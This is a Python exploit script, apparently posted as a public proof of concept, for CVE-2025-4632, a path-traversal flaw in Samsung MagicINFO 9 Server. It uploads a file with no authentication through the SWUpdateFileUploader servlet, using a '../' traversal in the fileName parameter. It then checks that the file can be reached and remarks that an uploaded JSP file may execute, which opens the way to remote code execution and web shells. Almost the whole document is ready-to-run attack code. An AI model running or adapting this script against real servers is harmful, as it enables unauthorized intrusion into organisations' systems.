Samsung MagicINFO 9 Server Unauthenticated Path Traversal to RCE (CVE-2025-4632)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress insecure request warnings for self-signed certs
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def generate_random_string(length=6):
    return ''.join(random.choices(string.ascii_letters, k=length))

def exploit(target, filename, data):
    """
    Replicates CVE-2025-4632 Path Traversal File Upload
    """
    # Clean target URL
    target = target.rstrip('/')
    upload_url = f"{target}/MagicInfo/servlet/SWUpdateFileUploader"
    
    # Generate required variables
    device_type = generate_random_string()
    device_model = generate_random_string()
    sw_ver = random.randint(100, 999)
    
    # Construct the traversal path
    # The template suggests 6 levels of traversal to reach the server root
    # Adjust the extension or prefix if needed
    traversal_path = f"./../../../../../../server/{filename}"
    
    params = {
        'fileName': traversal_path,
        'deviceType': device_type,
        'deviceModelName': device_model,
        'swVer': sw_ver
    }
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) CVE-2025-4632 Replication',
        'Content-Type': 'text/plain'
    }

    print(f"[*] Targeting: {target}")
    print(f"[*] Attempting to upload: {filename}")
    
    try:
        # Step 1: Upload the file
        response = requests.post(
            upload_url, 
            params=params, 
            headers=headers, 
            data=data, 
            verify=False, 
            timeout=15
        )
        
        if response.status_code == 200:
            print("[+] Upload request sent successfully (HTTP 200).")
            
            # Step 2: Verify the file exists
            verify_url = f"{target}/MagicInfo/{filename}"
            print(f"[*] Verifying at: {verify_url}")
            
            verify_res = requests.get(verify_url, verify=False, timeout=10)
            if verify_res.status_code == 200:
                # If we are checking for JSP execution, the raw data won't be in the response
                if filename.endswith('.jsp'):
                    print(f"[!] SUCCESS: File accessible at {verify_url} (HTTP 200)")
                    print(f"[*] Server Response Snapshot: {verify_res.text[:100].strip()}...")
                elif data in verify_res.text:
                    print(f"[!] SUCCESS: File accessible at {verify_url} and content verified.")
                else:
                    print(f"[?] File accessible (HTTP 200), but raw content not found. This is expected if the server evaluated the file (e.g., JSP/PHP).")
                    print(f"[*] Server Response Snapshot: {verify_res.text[:100].strip()}...")
            else:
                print("[-] Verification failed. Status Code:", verify_res.status_code)
                print("[-] The file might not have been written to the web root or the path is different.")
        else:
            print(f"[-] Upload failed. Status Code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-4632 Samsung MagicINFO Exploit Replication")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.29.105:7001)")
    parser.add_argument("-f", "--filename", default="shell.html", help="Filename to create (e.g., exploit.html)")
    parser.add_argument("-d", "--data", default="<h1>Exploited</h1>", help="Content of the file")

    args = parser.parse_args()
    
    exploit(args.target, args.filename, args.data)